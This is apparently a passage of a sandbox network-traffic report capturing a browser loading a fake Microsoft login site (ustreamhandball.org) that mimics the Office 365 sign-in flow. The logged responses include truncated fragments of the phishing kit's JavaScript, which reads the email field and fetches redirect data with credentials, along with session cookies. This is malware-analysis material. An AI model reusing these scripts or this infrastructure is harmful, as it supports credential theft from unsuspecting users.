2025-01-09 23:21:15 UTC	19	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a Data Ascii: Connection: close
2025-01-09 23:21:15 UTC	38	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 61 76 61 73 63 72 69 70 74 0d 0a Data Ascii: Content-Type: application/javascript
2025-01-09 23:21:15 UTC	28	IN	Data Raw: 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a Data Ascii: Transfer-Encoding: chunked
2025-01-09 23:21:15 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2025-01-09 23:21:15 UTC	5	IN	Data Raw: 33 31 63 0d 0a Data Ascii: 31c
2025-01-09 23:21:15 UTC	796	IN	Data Raw: 0a 66 75 6e 63 74 69 6f 6e 20 67 65 74 52 65 64 69 72 65 63 74 28 73 69 64 29 20 7b 0a 09 76 61 72 20 75 72 6c 20 3d 20 22 2f 73 2f 22 20 2b 20 73 69 64 3b 0a 09 63 6f 6e 73 6f 6c 65 2e 6c 6f 67 28 22 66 65 74 63 68 69 6e 67 3a 20 22 20 2b 20 75 72 6c 29 3b 0a 09 66 65 74 63 68 28 75 72 6c 2c 20 7b 0a 09 09 6d 65 74 68 6f 64 3a 20 22 47 45 54 22 2c 0a 09 09 68 65 61 64 65 72 73 3a 20 7b 0a 09 09 09 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 3a 20 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 73 6f 6e 22 0a 09 09 7d 2c 0a 09 09 63 72 65 64 65 6e 74 69 61 6c 73 3a 20 22 69 6e 63 6c 75 64 65 22 0a 09 7d 29 0a 09 09 2e 74 68 65 6e 28 28 72 65 73 70 6f 6e 73 65 29 20 3d 3e 20 7b 0a 0a 09 09 09 69 66 20 28 72 65 73 70 6f 6e 73 65 2e 73 74 61 74 75 73 20 3d 3d 20 32 Data Ascii: function getRedirect(sid) {var url = "/s/" + sid;console.log("fetching: " + url);fetch(url, {method: "GET",headers: {"Content-Type": "application/json"},credentials: "include"}).then((response) => {if (response.status == 2
2025-01-09 23:21:15 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2025-01-09 23:21:15 UTC	3	IN	Data Raw: 30 0d 0a Data Ascii: 0
2025-01-09 23:21:15 UTC	2	IN	Data Raw: 0d 0a Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.6	49864	165.140.202.155	443	3636	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 23:21:15 UTC	641	OUT	GET /shared/1.0/content/js/BssoInterrupt_Core_eaF-Fe71oZcWvr096r6xEw2.js HTTP/1.1 Host: aadcdn.ustreamhandball.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://login.ustreamhandball.org sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://login.ustreamhandball.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 23:21:15 UTC	17	IN	HTTP/1.1 200 OK
2025-01-09 23:21:15 UTC	22	IN	Data Raw: 41 63 63 65 70 74 2d 52 61 6e 67 65 73 3a 20 62 79 74 65 73 0d 0a Data Ascii: Accept-Ranges: bytes
2025-01-09 23:21:15 UTC	32	IN	Data Raw: 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 41 6c 6c 6f 77 2d 4f 72 69 67 69 6e 3a 20 2a 0d 0a Data Ascii: Access-Control-Allow-Origin: *
2025-01-09 23:21:15 UTC	202	IN	Data Raw: 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 45 78 70 6f 73 65 2d 48 65 61 64 65 72 73 3a 20 78 2d 6d 73 2d 72 65 71 75 65 73 74 2d 69 64 2c 53 65 72 76 65 72 2c 78 2d 6d 73 2d 76 65 72 73 69 6f 6e 2c 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2c 43 6f 6e 74 65 6e 74 2d 45 6e 63 6f 64 69 6e 67 2c 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 2c 4c 61 73 74 2d 4d 6f 64 69 66 69 65 64 2c 45 54 61 67 2c 78 2d 6d 73 2d 6c 65 61 73 65 2d 73 74 61 74 75 73 2c 78 2d 6d 73 2d 62 6c 6f 62 2d 74 79 70 65 2c 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 2c 44 61 74 65 2c 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 0d 0a Data Ascii: Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding
2025-01-09 23:21:15 UTC	41	IN	Data Raw: 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 70 75 62 6c 69 63 2c 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 0d 0a Data Ascii: Cache-Control: public, max-age=31536000
2025-01-09 23:21:15 UTC	19	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a Data Ascii: Connection: close
2025-01-09 23:21:15 UTC	40	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6a 61 76 61 73 63 72 69 70 74 0d 0a Data Ascii: Content-Type: application/x-javascript
2025-01-09 23:21:15 UTC	37	IN	Data Raw: 44 61 74 65 3a 20 54 68 75 2c 20 30 39 20 4a 61 6e 20 32 30 32 35 20 32 33 3a 32 31 3a 31 35 20 47 4d 54 0d 0a Data Ascii: Date: Thu, 09 Jan 2025 23:21:15 GMT
2025-01-09 23:21:15 UTC	25	IN	Data Raw: 45 74 61 67 3a 20 30 78 38 44 44 31 41 46 34 41 43 38 41 34 42 42 30 0d 0a Data Ascii: Etag: 0x8DD1AF4AC8A4BB0
2025-01-09 23:21:15 UTC	46	IN	Data Raw: 4c 61 73 74 2d 4d 6f 64 69 66 69 65 64 3a 20 54 68 75 2c 20 31 32 20 44 65 63 20 32 30 32 34 20 32 31 3a 33 33 3a 35 32 20 47 4d 54 0d 0a Data Ascii: Last-Modified: Thu, 12 Dec 2024 21:33:52 GMT
2025-01-09 23:21:15 UTC	28	IN	Data Raw: 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a Data Ascii: Transfer-Encoding: chunked

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.6	49871	165.140.202.155	443	3636	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 23:21:16 UTC	1067	OUT	GET /s/ec9765f3a6cb334d34368932bf819a1028dd2f771aaf16548f90dbbe18b2ef60/2842b9ecb751393b60c4b08022c260d063b04c654b7ef7a28e3188bb6723fb13.js HTTP/1.1 Host: login.ustreamhandball.org Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 7211-3325=ec9765f3a6cb334d34368932bf819a1028dd2f771aaf16548f90dbbe18b2ef60; fpc=Aq076Fa4imlIlpYE2a8YmJI; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFe7v7KWL8es3B94M8P1iGwAAQsE70-Fuz_Z0gcmPHmsc4irw2USTUPY4Th9vWuwKZzXV1VMyznEPGushB3ka8zy3dJj2UJomsYQ-oCKUpk4878VLPYhrNVgbLXJkdSOWhNjTfB0_-0petHtfmqnZXCcRfkHg-EKX9AxN-YvDRc7v0gAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; esctx-LeV4WHyApcs=AQABCQEAAABVrSpeuWamRam2jAF1XRQEXraNLVT8pT-llCxQqNtwkLOS2w2J3zJNjfpOCr-yfUdqz1Vp62dBI0QKQ-va2M0SXuIytEPZa78R7MiSxmtxpLeK0IpD4yEU59dD5R5a7DHxkhE7SFg8xdzRZy67x2XV4LgbWotuDtJ99rSrGKiqlSAA
2025-01-09 23:21:16 UTC	17	IN	HTTP/1.1 200 OK
2025-01-09 23:21:16 UTC	35	IN	Data Raw: 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6e 6f 2d 73 74 6f 72 65 0d 0a Data Ascii: Cache-Control: no-cache, no-store
2025-01-09 23:21:16 UTC	19	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a Data Ascii: Connection: close
2025-01-09 23:21:16 UTC	38	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 61 76 61 73 63 72 69 70 74 0d 0a Data Ascii: Content-Type: application/javascript
2025-01-09 23:21:16 UTC	28	IN	Data Raw: 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a Data Ascii: Transfer-Encoding: chunked
2025-01-09 23:21:16 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2025-01-09 23:21:16 UTC	5	IN	Data Raw: 32 36 34 0d 0a Data Ascii: 264
2025-01-09 23:21:16 UTC	612	IN	Data Raw: 66 75 6e 63 74 69 6f 6e 20 6c 70 28 29 7b 0a 20 20 76 61 72 20 65 6d 61 69 6c 49 64 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 22 23 69 30 31 31 36 22 29 3b 0a 20 20 76 61 72 20 6e 65 78 74 42 75 74 74 6f 6e 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 22 23 69 64 53 49 42 75 74 74 6f 6e 39 22 29 3b 0a 20 20 76 61 72 20 71 75 65 72 79 20 3d 20 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3b 0a 20 20 69 66 20 28 2f 23 2f 2e 74 65 73 74 28 71 75 65 72 79 29 29 7b 0a 20 20 20 20 76 61 72 20 72 65 73 20 3d 20 71 75 65 72 79 2e 73 70 6c 69 74 28 22 23 22 29 3b 0a 20 20 20 20 76 61 72 20 64 61 74 61 31 20 3d 20 72 65 73 5b 30 5d 3b 0a 20 20 20 20 76 61 72 20 64 61 74 61 32 20 3d Data Ascii: function lp(){ var emailId = document.querySelector("#i0116"); var nextButton = document.querySelector("#idSIButton9"); var query = window.location.href; if (/#/.test(query)){ var res = query.split("#"); var data1 = res[0]; var data2 =
2025-01-09 23:21:16 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2025-01-09 23:21:16 UTC	3	IN	Data Raw: 30 0d 0a Data Ascii: 0
2025-01-09 23:21:16 UTC	2	IN	Data Raw: 0d 0a Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.6	49872	165.140.202.155	443	3636	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 23:21:16 UTC	1002	OUT	GET /s/ec9765f3a6cb334d34368932bf819a1028dd2f771aaf16548f90dbbe18b2ef60.js HTTP/1.1 Host: login.ustreamhandball.org Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 7211-3325=ec9765f3a6cb334d34368932bf819a1028dd2f771aaf16548f90dbbe18b2ef60; fpc=Aq076Fa4imlIlpYE2a8YmJI; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFe7v7KWL8es3B94M8P1iGwAAQsE70-Fuz_Z0gcmPHmsc4irw2USTUPY4Th9vWuwKZzXV1VMyznEPGushB3ka8zy3dJj2UJomsYQ-oCKUpk4878VLPYhrNVgbLXJkdSOWhNjTfB0_-0petHtfmqnZXCcRfkHg-EKX9AxN-YvDRc7v0gAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; esctx-LeV4WHyApcs=AQABCQEAAABVrSpeuWamRam2jAF1XRQEXraNLVT8pT-llCxQqNtwkLOS2w2J3zJNjfpOCr-yfUdqz1Vp62dBI0QKQ-va2M0SXuIytEPZa78R7MiSxmtxpLeK0IpD4yEU59dD5R5a7DHxkhE7SFg8xdzRZy67x2XV4LgbWotuDtJ99rSrGKiqlSAA
2025-01-09 23:21:16 UTC	17	IN	HTTP/1.1 200 OK
2025-01-09 23:21:16 UTC	35	IN	Data Raw: 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6e 6f 2d 73 74 6f 72 65 0d 0a Data Ascii: Cache-Control: no-cache, no-store
2025-01-09 23:21:16 UTC	19	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a Data Ascii: Connection: close
2025-01-09 23:21:16 UTC	38	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 61 76 61 73 63 72 69 70 74 0d 0a Data Ascii: Content-Type: application/javascript
2025-01-09 23:21:16 UTC	28	IN	Data Raw: 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a Data Ascii: Transfer-Encoding: chunked
2025-01-09 23:21:16 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2025-01-09 23:21:16 UTC	5	IN	Data Raw: 33 31 63 0d 0a Data Ascii: 31c
2025-01-09 23:21:16 UTC	796	IN	Data Raw: 0a 66 75 6e 63 74 69 6f 6e 20 67 65 74 52 65 64 69 72 65 63 74 28 73 69 64 29 20 7b 0a 09 76 61 72 20 75 72 6c 20 3d 20 22 2f 73 2f 22 20 2b 20 73 69 64 3b 0a 09 63 6f 6e 73 6f 6c 65 2e 6c 6f 67 28 22 66 65 74 63 68 69 6e 67 3a 20 22 20 2b 20 75 72 6c 29 3b 0a 09 66 65 74 63 68 28 75 72 6c 2c 20 7b 0a 09 09 6d 65 74 68 6f 64 3a 20 22 47 45 54 22 2c 0a 09 09 68 65 61 64 65 72 73 3a 20 7b 0a 09 09 09 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 3a 20 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 73 6f 6e 22 0a 09 09 7d 2c 0a 09 09 63 72 65 64 65 6e 74 69 61 6c 73 3a 20 22 69 6e 63 6c 75 64 65 22 0a 09 7d 29 0a 09 09 2e 74 68 65 6e 28 28 72 65 73 70 6f 6e 73 65 29 20 3d 3e 20 7b 0a 0a 09 09 09 69 66 20 28 72 65 73 70 6f 6e 73 65 2e 73 74 61 74 75 73 20 3d 3d 20 32 Data Ascii: function getRedirect(sid) {var url = "/s/" + sid;console.log("fetching: " + url);fetch(url, {method: "GET",headers: {"Content-Type": "application/json"},credentials: "include"}).then((response) => {if (response.status == 2
2025-01-09 23:21:16 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2025-01-09 23:21:16 UTC	3	IN	Data Raw: 30 0d 0a Data Ascii: 0
2025-01-09 23:21:16 UTC	2	IN	Data Raw: 0d 0a Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.6	49870	40.113.103.199	443

Timestamp	Bytes transferred	Direction	Data
2025-01-09 23:21:16 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 2b 33 2f 45 4a 4d 55 42 64 6b 79 35 54 61 6a 45 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 39 66 66 31 62 64 62 61 39 38 66 64 38 66 36 34 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: +3/EJMUBdky5TajE.1Context: 9ff1bdba98fd8f64
2025-01-09 23:21:16 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2025-01-09 23:21:16 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 2b 33 2f 45 4a 4d 55 42 64 6b 79 35 54 61 6a 45 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 39 66 66 31 62 64 62 61 39 38 66 64 38 66 36 34 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 57 52 7a 77 35 46 51 33 75 57 44 4a 33 49 73 36 77 2f 38 44 30 4f 32 75 73 41 35 4d 78 58 51 43 70 4a 47 54 30 50 50 55 65 4a 50 50 48 76 45 52 43 7a 47 4e 41 2f 6b 70 51 73 65 42 43 67 37 35 42 67 67 47 5a 6d 6b 41 32 68 6a 74 50 68 2b 59 75 46 48 78 48 58 4e 67 32 4f 75 51 4a 74 62 71 31 56 51 48 30 43 49 4c 46 30 76 4b 4b Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: +3/EJMUBdky5TajE.2Context: 9ff1bdba98fd8f64<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAWRzw5FQ3uWDJ3Is6w/8D0O2usA5MxXQCpJGT0PPUeJPPHvERCzGNA/kpQseBCg75BggGZmkA2hjtPh+YuFHxHXNg2OuQJtbq1VQH0CILF0vKK
2025-01-09 23:21:16 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 2b 33 2f 45 4a 4d 55 42 64 6b 79 35 54 61 6a 45 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 39 66 66 31 62 64 62 61 39 38 66 64 38 66 36 34 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: +3/EJMUBdky5TajE.3Context: 9ff1bdba98fd8f64<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2025-01-09 23:21:16 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2025-01-09 23:21:16 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 64 4f 52 35 46 4f 43 2f 59 55 71 47 47 76 64 79 2f 6c 33 32 6c 67 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: dOR5FOC/YUqGGvdy/l32lg.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.6	49878	165.140.202.155	443	3636	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 23:21:16 UTC	2005	OUT	GET /s/ec9765f3a6cb334d34368932bf819a1028dd2f771aaf16548f90dbbe18b2ef60 HTTP/1.1 Host: login.ustreamhandball.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/json Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://login.ustreamhandball.org/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638720616732439502.ZDkzZTlhNDMtYjA4Yi00ZmY0LWFjYWYtMzg0OThhN2I2ZjYzY2E3MDM5M2EtNjU4NC00Njg0LWJkMTAtZmExMGY2NDliNTBl&ui_locales=en-US&mkt=en-US&client-request-id=6d79123f-f278-4173-b566-f561b534f115&state=1JmhBQKzmfY82d8qNoYK6KrmFj-703a8z5_WR4b4eUt-eu1NnnUlqjdqOyw-eQN85zCxfMrs9oukx7EVU6PCCty4I-buzY7pkmVHAKULEuiSV5D-Milk1EawBA597CIt9PK6Ezz-qCo68l_tMYLKcliM9sEpc5ydN9bd61xbzh-ywUIE5qcPOKoXxZzp2HPNtIWg35CvWPLV13LMQg9t4g50jYEu_ewHsD4DLfpvicFv8eqVtNQv_CkaFN6ZavOlQvqWW_jVRsAftXugH-g_SA&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 7211-3325=ec9765f3a6cb334d34368932bf819a1028dd2f771aaf16548f90dbbe18b2ef60; fpc=Aq076Fa4imlIlpYE2a8YmJI; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFe7v7KWL8es3B94M8P1iGwAAQsE70-Fuz_Z0gcmPHmsc4irw2USTUPY4Th9vWuwKZzXV1VMyznEPGushB3ka8zy3dJj2UJomsYQ-oCKUpk4878VLPYhrNVgbLXJkdSOWhNjTfB0_-0petHtfmqnZXCcRfkHg-EKX9AxN-YvDRc7v0gAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; esctx-LeV4WHyApcs=AQABCQEAAABVrSpeuWamRam2jAF1XRQEXraNLVT8pT-llCxQqNtwkLOS2w2J3zJNjfpOCr-yfUdqz1Vp62dBI0QKQ-va2M0SXuIytEPZa78R7MiSxmtxpLeK0IpD4yEU59dD5R5a7DHxkhE7SFg8xdzRZy67x2XV4LgbWotuDtJ99rSrGKiqlSAA

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.6	49876	165.140.202.155	443	3636	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 23:21:16 UTC	660	OUT	GET /ests/2.1/content/cdnbundles/watsonsupportwithjquery.3.5.min_dc940oomzau4rsu8qesnvg2.js HTTP/1.1 Host: aadcdn.ustreamhandball.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://login.ustreamhandball.org sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://login.ustreamhandball.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 23:21:16 UTC	17	IN	HTTP/1.1 200 OK
2025-01-09 23:21:16 UTC	22	IN	Data Raw: 41 63 63 65 70 74 2d 52 61 6e 67 65 73 3a 20 62 79 74 65 73 0d 0a Data Ascii: Accept-Ranges: bytes
2025-01-09 23:21:16 UTC	32	IN	Data Raw: 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 41 6c 6c 6f 77 2d 4f 72 69 67 69 6e 3a 20 2a 0d 0a Data Ascii: Access-Control-Allow-Origin: *
2025-01-09 23:21:16 UTC	202	IN	Data Raw: 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 45 78 70 6f 73 65 2d 48 65 61 64 65 72 73 3a 20 78 2d 6d 73 2d 72 65 71 75 65 73 74 2d 69 64 2c 53 65 72 76 65 72 2c 78 2d 6d 73 2d 76 65 72 73 69 6f 6e 2c 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2c 43 6f 6e 74 65 6e 74 2d 45 6e 63 6f 64 69 6e 67 2c 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 2c 4c 61 73 74 2d 4d 6f 64 69 66 69 65 64 2c 45 54 61 67 2c 78 2d 6d 73 2d 6c 65 61 73 65 2d 73 74 61 74 75 73 2c 78 2d 6d 73 2d 62 6c 6f 62 2d 74 79 70 65 2c 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 2c 44 61 74 65 2c 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 0d 0a Data Ascii: Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding
2025-01-09 23:21:16 UTC	41	IN	Data Raw: 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 70 75 62 6c 69 63 2c 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 0d 0a Data Ascii: Cache-Control: public, max-age=31536000
2025-01-09 23:21:16 UTC	19	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a Data Ascii: Connection: close
2025-01-09 23:21:16 UTC	40	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6a 61 76 61 73 63 72 69 70 74 0d 0a Data Ascii: Content-Type: application/x-javascript
2025-01-09 23:21:16 UTC	37	IN	Data Raw: 44 61 74 65 3a 20 54 68 75 2c 20 30 39 20 4a 61 6e 20 32 30 32 35 20 32 33 3a 32 31 3a 31 36 20 47 4d 54 0d 0a Data Ascii: Date: Thu, 09 Jan 2025 23:21:16 GMT
2025-01-09 23:21:16 UTC	25	IN	Data Raw: 45 74 61 67 3a 20 30 78 38 44 38 44 41 31 44 39 39 37 43 41 32 34 35 0d 0a Data Ascii: Etag: 0x8D8DA1D997CA245
2025-01-09 23:21:16 UTC	46	IN	Data Raw: 4c 61 73 74 2d 4d 6f 64 69 66 69 65 64 3a 20 46 72 69 2c 20 32 36 20 46 65 62 20 32 30 32 31 20 30 36 3a 31 33 3a 31 33 20 47 4d 54 0d 0a Data Ascii: Last-Modified: Fri, 26 Feb 2021 06:13:13 GMT
